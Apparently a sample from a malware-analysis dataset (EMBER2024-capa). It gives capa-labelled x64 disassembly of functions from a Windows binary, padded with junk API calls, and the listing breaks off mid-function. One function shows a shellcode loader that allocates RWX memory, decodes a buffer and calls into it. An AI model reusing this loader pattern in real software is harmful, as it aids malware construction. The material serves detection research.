joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400d7200
Capabilities:
Create thread
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x1a0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x190], rax
mov r12d, r9d
mov r13d, ecx
mov r15, r9
mov rbx, r8
mov rsi, rdx
mov qword [rsp + 0x40], rdx
imul r12d, r8d
sub r13d, r12d
mov rdi, rcx
mov qword [rsp + 0x30], rcx
sub r13d, edx
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rbp, rax
mov qword [rsp + 0x38], rax
call qword [sym.imp.USER32.dll_GetForegroundWindow]
call qword [sym.imp.USER32.dll_GetActiveWindow]
movzx ecx, bpl
add cl, cl
mov r14, rax
add bpl, cl
lea rcx, str.loafer
add bpl, bpl
sub bpl, sil
add bpl, r13b
add bpl, r15b
add bpl, bl
add bpl, dil
lea edi, [rax + 0xe]
add dil, bpl
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rdx, r15
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SizeofResource]
call qword [sym.imp.USER32.dll_GetActiveWindow]
call qword [sym.imp.USER32.dll_GetForegroundWindow]
xor r8d, r8d
xor ecx, ecx
lea edx, [r8 + 0x2a]
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rdx, r15
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
movsx eax, dil
lea esi, [rsi*4]
imul eax, r14d
lea edi, [rax*4 - 0x10]
movzx eax, bpl
mov rbp, qword [rsp + 0x40]
mov ecx, esi
sub ecx, ebx
lea ebx, [r14 + 8]
add ebx, ecx
sub edi, ebx
add edi, eax
sub edi, r13d
add edi, r15d
mov r15, qword [rsp + 0x30]
add edi, ebp
add edi, r15d
call qword [sym.imp.USER32.dll_GetActiveWindow]
xor eax, eax
mov qword [rsp + 0x28], rax
lea r8, [0x140001b00]
lea r9d, [rax + 0x20]
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateThread]
imul esi, ebx
mov rbx, qword [rsp + 0x38]
imul eax, r14d, 0xfffffff6
sub eax, esi
lea ecx, [rax + rbx*8]
lea eax, [r15 + 4]
sub ecx, ebp
add ecx, r12d
add ecx, edi
add eax, ecx
cmp r13d, eax
je 0x1400d7369
call qword [sym.imp.USER32.dll_GetActiveWindow]
lea rcx, [rsp + 0x50]
xor edx, edx
mov r8d, 0x140
call fcn.1400e27d0
lea rdx, [rsp + 0x50]
lea rcx, str.c0a1
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
call qword [sym.imp.USER32.dll_GetActiveWindow]
mov rax, rbx
mov rcx, qword [rsp + 0x190]
xor rcx, rsp
call fcn.1400dd340
lea r11, [rsp + 0x1a0]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x1400d7960
Capabilities:
Query environment variable

Disassembly:
push rbx
sub rsp, 0x170
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x160], rax
mov rbx, rcx
call qword [sym.imp.USER32.dll_GetForegroundWindow]
lea ecx, [rbx + rbx*4]
lea eax, [rcx + rax*4]
cmp eax, 5
ja 0x1400d79c1
mov edx, 0x82
mov r8d, 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindResourceA]
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov edx, 0x14d
mov r8d, 3
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindResourceA]
call qword [sym.imp.KERNEL32.dll_GetMaximumProcessorGroupCount]
mov edx, 0x255
mov r8d, 9
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindResourceA]
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetTickCount]
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call qword [sym.imp.USER32.dll_GetActiveWindow]
lea rcx, [rsp + 0x20]
xor edx, edx
mov r8d, 0x140
call fcn.1400e27d0
lea rdx, [rsp + 0x20]
lea rcx, str.c2a1
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
lea rcx, [rsp + 0x20]
mov edx, 0x104
call qword [sym.imp.KERNEL32.dll_FindFirstVolumeA]
mov edx, 0x117
mov r8d, 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindResourceA]
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rax, rbx
mov rcx, qword [rsp + 0x160]
xor rcx, rsp
call fcn.1400dd340
add rsp, 0x170
pop rbx
ret

Function at 0x1400d7a60
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsx r15d, dl
mov ebx, r9d
mov rbp, r9
mov r14, r8
mov r12, rcx
mov r13d, r15d
imul ebx, r8d
imul ebx, dword [rsp + 0x80]
sub ebx, r15d
add ebx, ecx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessorNumber]
mov dword [rsp + 0x68], eax
cmp r15b, 0x40
jle 0x1400d7b67
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x70], rdi
mov esi, r15d
lea edi, [r12 - 0x1180]
mov edx, 0xfc
imul esi, ebp
lea ecx, [r12 + rsi*4]
add esi, ecx
mov ecx, ebp
sub ecx, ebx
add edi, ecx
xor ecx, ecx
lea r8d, [rcx + 0xf]
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov ecx, esi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
movsx r9, r15b
xor r15d, r15d
lea r8, [0x140001b00]
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov eax, dword [rsp + 0x68]
sub r14d, esi
imul ebx, edi
imul r14d, ebp
sub r14d, ebx
lea r8, [0x140001b00]
xor edx, edx
imul eax, dword [rsp + 0x80]
sub r14d, eax
lea eax, [r12 - 0x2f]
xor ecx, ecx
add eax, r14d
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
movsxd r9, eax
call qword [sym.imp.KERNEL32.dll_CreateThread]
call qword [sym.imp.USER32.dll_GetActiveWindow]
mov ecx, r13d
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rdi, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x60]
mov rax, rbp
mov rbx, qword [rsp + 0x78]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
Function at 0x1400d7b80
Capabilities:
Create thread
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x180
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x170], rax
mov rsi, qword [rsp + 0x1b8]
movsxd rdi, r8d
mov ebx, ecx
cmp cl, 0x10
ja 0x1400d7bc6
lea rcx, [rsp + 0x60]
mov edx, 0x104
call qword [sym.imp.KERNEL32.dll_FindFirstVolumeA]
xor ecx, ecx
mov edx, 0x2f8
lea r8d, [rcx + 0x15]
call qword [sym.imp.KERNEL32.dll_FindResourceA]
call qword [sym.imp.USER32.dll_GetForegroundWindow]
call qword [sym.imp.USER32.dll_GetActiveWindow]
cmp edi, 2
jle 0x1400d7c05
xor ecx, ecx
mov edx, 0x198
lea r8d, [rcx + 1]
call qword [sym.imp.KERNEL32.dll_FindResourceA]
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call qword [sym.imp.USER32.dll_GetForegroundWindow]
call qword [sym.imp.USER32.dll_GetForegroundWindow]
cmp ebx, 2
jae 0x1400d7c53
xor ecx, ecx
mov edx, 0x93
lea r8d, [rcx + 1]
call qword [sym.imp.KERNEL32.dll_FindResourceA]
call qword [sym.imp.USER32.dll_GetActiveWindow]
mov rdx, rsi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
xor r8d, r8d
mov edx, 0x3b2
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindResourceA]
xor ecx, ecx
mov edx, 0x2b1
lea r8d, [rcx + 0x19]
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov r9, rdi
xor edi, edi
lea r8, [0x140001b00]
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateThread]
call qword [sym.imp.USER32.dll_GetForegroundWindow]
lea rcx, [rsp + 0x60]
mov edx, 0x104
call qword [sym.imp.KERNEL32.dll_FindFirstVolumeA]
call qword [sym.imp.USER32.dll_GetActiveWindow]
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x40], rbx
mov dword [rsp + 0x38], 2
mov dword [rsp + 0x30], 2
lea r9d, [rdi + 0x10]
lea r8, str.cord
lea rdx, [0x1400ed8b4]
mov ecx, ebx
mov dword [rsp + 0x28], 0x10
mov dword [rsp + 0x20], 0x10
call qword [sym.imp.USER32.dll_CreateWindowExA]
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov ecx, 0xffff
call qword [sym.imp.KERNEL32.dll_GetMaximumProcessorCount]
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
lea rax, str.c3ret
mov rcx, qword [rsp + 0x170]
xor rcx, rsp
call fcn.1400dd340
lea r11, [rsp + 0x180]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
Function at 0x1400d8180
Capabilities:
Create thread

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x180
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x170], rax
or rbx, 0xffffffffffffffff
mov r12, r9
mov r15, r8
mov r14, rdx
mov rbp, rcx
mov rdi, rbx
inc rdi
cmp byte [rdi + rcx], 0
jne 0x1400d81b7
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
lea rcx, [rsp + 0x30]
xor edx, edx
mov r8d, 0x140
call fcn.1400e27d0
lea rdx, [rsp + 0x30]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
lea rcx, [rsp + 0x30]
mov edx, 0x104
call qword [sym.imp.KERNEL32.dll_FindFirstVolumeA]
xor ecx, ecx
mov edx, 0x143
lea r8d, [rcx + 0xa]
call qword [sym.imp.KERNEL32.dll_FindResourceA]
lea rcx, [rsp + 0x30]
xor edx, edx
mov r8d, 0x140
call fcn.1400e27d0
lea rdx, [rsp + 0x30]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
lea rcx, [rsp + 0x30]
mov edx, 0x104
call qword [sym.imp.KERNEL32.dll_FindFirstVolumeA]
xor ecx, ecx
mov edx, 0x363
lea r8d, [rcx + 0xb]
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rsi, rbx
nop dword [rax + rax]
inc rsi
cmp byte [r14 + rsi], 0
jne 0x1400d8250
nop word [rax + rax]
inc rbx
cmp byte [rbx + rbp], 0
jne 0x1400d8260
imul esi, ebx
add esi, r12d
call qword [sym.imp.USER32.dll_GetActiveWindow]
lea rcx, [rsp + 0x30]
mov edx, 0x104
call qword [sym.imp.KERNEL32.dll_FindFirstVolumeA]
xor ebx, ebx
lea r8, [0x140001b00]
movsxd r9, esi
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], ebx
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea r8d, [rbx + 1]
mov edx, 0x27a
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindResourceA]
lea rcx, [rsp + 0x30]
xor edx, edx
mov r8d, 0x140
call fcn.1400e27d0
lea rdx, [rsp + 0x30]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
call qword [sym.imp.USER32.dll_GetActiveWindow]
lea rcx, [rsp + 0x30]
mov edx, 0x104
call qword [sym.imp.KERNEL32.dll_FindFirstVolumeA]
lea r8, [0x140001b00]
movsx r9, dil
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], ebx
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea rcx, [rsp + 0x30]
mov edx, 0x104
call qword [sym.imp.KERNEL32.dll_FindFirstVolumeA]
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
xor eax, eax
mov rcx, qword [rsp + 0x170]
xor rcx, rsp
call fcn.1400dd340
add rsp, 0x180
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x1400d8bc0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x180
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x170], rax
mov rbx, rcx
lea rcx, str.c6a5
mov edi, edx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LoadResource]
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call qword [sym.imp.USER32.dll_GetForegroundWindow]
call qword [sym.imp.USER32.dll_GetForegroundWindow]
call qword [sym.imp.USER32.dll_GetActiveWindow]
mov rbx, rax
call qword [sym.imp.USER32.dll_GetActiveWindow]
xor eax, eax
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x38], eax
mov dword [rsp + 0x30], eax
lea r9d, [rax + 4]
lea r8, [0x1400ed4fc]
lea rdx, [0x1400ed4fc]
mov ecx, edi
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], ebx
call qword [sym.imp.USER32.dll_CreateWindowExA]
lea rcx, [rsp + 0x60]
mov edx, 0x104
call qword [sym.imp.KERNEL32.dll_FindFirstVolumeA]
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call qword [sym.imp.USER32.dll_GetActiveWindow]
call qword [sym.imp.USER32.dll_GetForegroundWindow]
call qword [sym.imp.USER32.dll_GetActiveWindow]
mov rax, rbx
mov rcx, qword [rsp + 0x170]
xor rcx, rsp
call fcn.1400dd340
mov rbx, qword [rsp + 0x1a0]
add rsp, 0x180
pop rdi
ret

Function at 0x1400d8f10
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x60
mov rax, qword [rsp + 0xa0]
mov rbp, rdx
mov edi, ecx
mov ebx, dword [rax]
imul ebx, r9d
imul ebx, r8d
imul ebx, ecx
call qword [sym.imp.USER32.dll_GetActiveWindow]
mov rsi, rax
mov al, 0xe
add sil, 7
imul bl
add sil, al
movzx ecx, sil
cmp ebx, ecx
ja 0x1400d8f60
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call qword [sym.imp.USER32.dll_GetActiveWindow]
mov ecx, edi
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
movzx r9d, sil
xor esi, esi
lea r8, [0x140001b00]
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], esi
call qword [sym.imp.KERNEL32.dll_CreateThread]
call qword [sym.imp.USER32.dll_GetActiveWindow]
call qword [sym.imp.USER32.dll_GetForegroundWindow]
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x40], 8
mov dword [rsp + 0x38], 8
mov dword [rsp + 0x30], edi
lea r9d, [rsi + 8]
lea r8, str.peer_to_peer
mov rdx, rbp
mov ecx, ebx
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
call qword [sym.imp.USER32.dll_CreateWindowExA]
lea ecx, [rsi + 2]
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
mov rsi, qword [rsp + 0x80]
lea rax, str.c4ret
add rsp, 0x60
pop rdi
ret
Function at 0x1400d9d40
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x180
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x170], rax
call qword [sym.imp.USER32.dll_GetActiveWindow]
lea r8, [0x140001b00]
xor edx, edx
mov rdi, rax
xor eax, eax
xor ecx, ecx
mov qword [rsp + 0x28], rax
lea r9d, [rax + 9]
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
call qword [sym.imp.KERNEL32.dll_GetTickCount]
lea rcx, [rsp + 0x30]
mov ebp, eax
movzx eax, dil
xor edx, edx
mov r8d, 0x140
imul bl
movzx ebx, al
movzx r14d, al
sub bl, dil
call fcn.1400e27d0
lea rdx, [rsp + 0x30]
lea rcx, str.gamma_ray
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
movsx rcx, bl
movzx edx, sil
sub edx, ecx
xor ecx, ecx
lea r12d, [rbp - 0x15]
sub edx, eax
lea r8d, [rcx + 0x1c]
mov r15, rax
add r12d, edx
mov edx, 0x267
call qword [sym.imp.KERNEL32.dll_FindResourceA]
lea rcx, [rsp + 0x30]
mov edx, 0x104
call qword [sym.imp.KERNEL32.dll_FindFirstVolumeA]
call qword [sym.imp.USER32.dll_GetForegroundWindow]
lea rcx, [rsp + 0x30]
xor edx, edx
mov r8d, 0x140
call fcn.1400e27d0
lea rdx, [rsp + 0x30]
lea rcx, [0x1400ed8b4]
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp sil, r12b
jbe 0x1400d9e84
lea rcx, [rsp + 0x30]
xor edx, edx
mov r8d, 0x140
call fcn.1400e27d0
lea rdx, [rsp + 0x30]
lea rcx, str.wound
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
xor ecx, ecx
mov edx, 0x22d
lea r8d, [rcx + 0xd]
call qword [sym.imp.KERNEL32.dll_FindResourceA]
call qword [sym.imp.USER32.dll_GetActiveWindow]
mov ecx, 4
movzx eax, dil
add sil, 0xb
sub cl, r12b
imul cl
sub al, r14b
sub al, bpl
sub al, r15b
sub al, bl
add al, sil
mov rcx, qword [rsp + 0x170]
xor rcx, rsp
call fcn.1400dd340
lea r11, [rsp + 0x180]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r12
ret
Function at 0x1400da360
Capabilities:
Allocate or change rwx memory
Copy file
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x150
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x140], rax
movsxd rbp, dword [rsp + 0x1a0]
mov r12d, dword [rsp + 0x1b8]
mov edx, 0x2a
mov r14d, r8d
mov rsi, rcx
lea r8d, [rdx - 0x1b]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, rbp
xor ecx, ecx
mov r15, rax
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rbp
mov rdx, rsi
mov rcx, rax
mov rbx, rax
call fcn.1400e14e0
movzx r8d, byte [rbx]
inc rbx
xor edi, edi
dec ebp
mov edx, edi
test ebp, ebp
jle 0x1400da402
mov rax, rbx
lea ecx, [r8 + rdx]
inc edx
lea rax, [rax + 1]
sub byte [rax - 1], cl
cmp edx, ebp
jl 0x1400da3f1
xor ecx, ecx
call rbx
lea eax, [r15*8]
cmp eax, r14d
jae 0x1400da463
call qword [sym.imp.USER32.dll_GetActiveWindow]
lea r8, [0x140001b00]
mov r9, r12
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea rcx, [rsp + 0x30]
mov edx, 0x104
call qword [sym.imp.KERNEL32.dll_FindFirstVolumeA]
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
lea rdx, str.cave
lea rcx, [0x1400ed4d4]
mov r8d, r14d
call qword [sym.imp.KERNEL32.dll_CopyFileA]
lea rax, str.hook
mov rcx, qword [rsp + 0x140]
xor rcx, rsp
call fcn.1400dd340
lea r11, [rsp + 0x150]
mov rbx, qword [r11 + 0x38]
mov rbp, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret
Function at 0x1400da940
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], r8
push rsi
push rdi
push r13
push r14
push r15
sub rsp, 0x20
or rbx, 0xffffffffffffffff
mov r13, r9
mov rdi, rdx
mov rax, rbx
mov r14, rcx
nop dword [rax + rax]
inc rax
cmp byte [rdx + rax], 0
jne 0x1400da970
imul eax, dword [r8]
mov r15, qword [rsp + 0x80]
mov rbp, qword [rsp + 0x70]
sub eax, r9d
mov rcx, rbx
add eax, r15d
add eax, dword [rsp + 0x78]
inc rcx
cmp byte [rcx + rbp], 0
jne 0x1400da997
mov rsi, qword [rsp + 0x88]
sub eax, ecx
mov rcx, rbx
nop dword [rax]
inc rcx
cmp byte [rsi + rcx], 0
jne 0x1400da9b0
sub eax, ecx
mov dword [r14], eax
mov rax, rbx
inc rax
cmp byte [rdx + rax], 0
jne 0x1400da9c1
sub eax, dword [r8 + 0x10]
mov rcx, rbx
sub eax, r15d
sub eax, r9d
sub eax, dword [rsp + 0x78]
nop dword [rax + rax]
inc rcx
cmp byte [rcx + rbp], 0
jne 0x1400da9e0
sub eax, ecx
mov rcx, rbx
nop
inc rcx
cmp byte [rsi + rcx], 0
jne 0x1400da9f0
sub eax, ecx
mov rdx, r15
xor ecx, ecx
mov dword [r14 + 4], eax
call qword [sym.imp.KERNEL32.dll_LoadResource]
xor ecx, ecx
lea r8d, [rcx + 0xd]
mov edx, 0x175
mov qword [r14 + 8], rax
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rcx, rbx
mov qword [r14 + 0x10], rax
inc rcx
cmp byte [rcx + rbp], 0
jne 0x1400daa26
mov rax, qword [rsp + 0x60]
imul ecx, dword [rax + 0x1c]
mov rax, rbx
imul ecx, r13d
imul ecx, dword [rsp + 0x78]
inc rax
cmp byte [rdi + rax], 0
jne 0x1400daa44
sub eax, ecx
sub eax, r15d
inc rbx
cmp byte [rsi + rbx], 0
jne 0x1400daa52
mov rbp, qword [rsp + 0x58]
sub eax, ebx
mov rbx, qword [rsp + 0x50]
mov dword [r14 + 0x18], eax
lea rax, [0x1400ee018]
mov qword [r14 + 0x20], rax
mov rax, r14
add rsp, 0x20
pop r15
pop r14
pop r13
pop rdi
pop rsi
ret

Function at 0x1400dab70
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
sub rsp, 0x180
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x170], rax
xor ebp, ebp
lea rax, str.panties
movsxd rsi, r9d
mov qword [rcx + 8], rax
mov rbx, r8
mov rdi, rcx
mov qword [rcx], rbp
mov qword [rcx + 0x10], rbp
or rax, 0xffffffffffffffff
inc rax
cmp byte [r8 + rax], bpl
jne 0x1400dabb2
imul eax, edx
mov r8d, 0x140
xor edx, edx
add eax, esi
mov dword [rcx + 0x18], eax
lea rcx, [rsp + 0x30]
call fcn.1400e27d0
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
lea r8, [0x140001b00]
mov r9, rsi
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], rbp
mov qword [rdi + 0x20], rax
mov dword [rsp + 0x20], ebp
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea rcx, [rsp + 0x30]
xor edx, edx
mov r8d, 0x140
mov qword [rdi + 0x28], rax
call fcn.1400e27d0
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov qword [rdi + 0x30], rax
mov rax, rdi
mov rcx, qword [rsp + 0x170]
xor rcx, rsp
call fcn.1400dd340
mov rbx, qword [rsp + 0x1a0]
add rsp, 0x180
pop rdi
pop rsi
pop rbp
ret
Function at 0x1400dac60
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x20
or rdi, 0xffffffffffffffff
mov rbp, r9
mov r15d, r8d
mov rbx, rdx
mov rsi, rcx
mov rax, rdi
nop dword [rax + rax]
inc rax
cmp byte [rdx + rax], 0
jne 0x1400dac90
imul eax, r15d
mov r14d, r8d
sub eax, r9d
sub r14d, r9d
mov dword [rcx], eax
mov rax, rdi
nop dword [rax + rax]
inc rax
cmp byte [rdx + rax], 0
jne 0x1400dacb0
add eax, r14d
mov dword [rcx + 4], eax
mov rax, rdi
inc rax
cmp byte [rdx + rax], 0
jne 0x1400dacc2
imul eax, r15d
add eax, r9d
mov dword [rcx + 8], eax
call qword [sym.imp.USER32.dll_GetActiveWindow]
mov rdx, rbp
xor ecx, ecx
mov qword [rsi + 0x10], rax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov qword [rsi + 0x18], rax
lea rax, [0x1400ed4d4]
mov qword [rsi + 0x20], rax
mov rax, rdi
nop dword [rax]
inc rax
cmp byte [rbx + rax], 0
jne 0x1400dad00
add eax, r14d
mov dword [rsi + 0x28], eax
mov rax, rdi
inc rax
cmp byte [rbx + rax], 0
jne 0x1400dad12
sub eax, ebp
sub eax, r15d
mov dword [rsi + 0x2c], eax
inc rdi
cmp byte [rbx + rdi], 0
jne 0x1400dad23
mov rbx, qword [rsp + 0x40]
imul ebp, r15d
lea rax, str.hail
add edi, ebp
mov rbp, qword [rsp + 0x48]
mov qword [rsi + 0x38], rax
mov dword [rsi + 0x30], edi
mov rax, rsi
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop rdi
ret

Function at 0x1400db020
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x140
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x130], rax
mov rbx, r9
mov rsi, r8
mov rbp, rdx
mov rdi, rcx
call qword [sym.imp.USER32.dll_GetActiveWindow]
mov rdx, rbp
xor ecx, ecx
mov qword [rdi + 8], 0
mov qword [rdi], rax
call qword [sym.imp.KERNEL32.dll_LoadResource]
lea rcx, [rsp + 0x20]
mov edx, 0x104
mov qword [rdi + 0x10], rax
mov qword [rdi + 0x18], rsi
call qword [sym.imp.KERNEL32.dll_FindFirstVolumeA]
mov qword [rdi + 0x20], rax
or rax, 0xffffffffffffffff
mov rdx, rax
inc rdx
cmp byte [rbx + rdx], 0
jne 0x1400db094
mov ecx, ebp
sub ecx, esi
add edx, ecx
mov dword [rdi + 0x28], edx
inc rax
cmp byte [rbx + rax], 0
jne 0x1400db0a6
add eax, ebp
mov qword [rdi + 0x30], 0
add eax, esi
mov dword [rdi + 0x2c], eax
lea rax, [0x1400ed4fc]
mov qword [rdi + 0x38], rax
mov rax, rdi
mov rcx, qword [rsp + 0x130]
xor rcx, rsp
call fcn.1400dd340
lea r11, [rsp + 0x140]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
Function at 0x1400db980
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rbp, r9
mov rbx, r8
mov rsi, rdx
mov rdi, rcx
call qword [sym.imp.USER32.dll_GetActiveWindow]
mov rdx, rsi
xor ecx, ecx
mov qword [rdi], rax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov r10, qword [rsp + 0x50]
xor r8d, r8d
mov qword [rdi + 8], rax
or rax, 0xffffffffffffffff
mov qword [rdi + 0x10], r8
mov rcx, rax
nop dword [rax + rax]
inc rcx
cmp byte [r10 + rcx], r8b
jne 0x1400db9d0
mov r9, qword [rsp + 0x58]
mov rdx, rax
inc rdx
cmp byte [r9 + rdx], r8b
jne 0x1400db9e1
imul ecx, edx
mov rdx, rax
inc rdx
cmp byte [rbx + rdx], r8b
jne 0x1400db9f0
imul edx, ebp
mov qword [rdi + 0x20], r8
imul edx, esi
add ecx, edx
mov dword [rdi + 0x18], ecx
mov rcx, rax
nop dword [rax + rax]
inc rcx
cmp byte [r10 + rcx], r8b
jne 0x1400dba10
imul ecx, ebp
mov r8, rax
nop
inc r8
cmp byte [rbx + r8], 0
jne 0x1400dba20
add ecx, esi
mov rdx, rax
nop
inc rdx
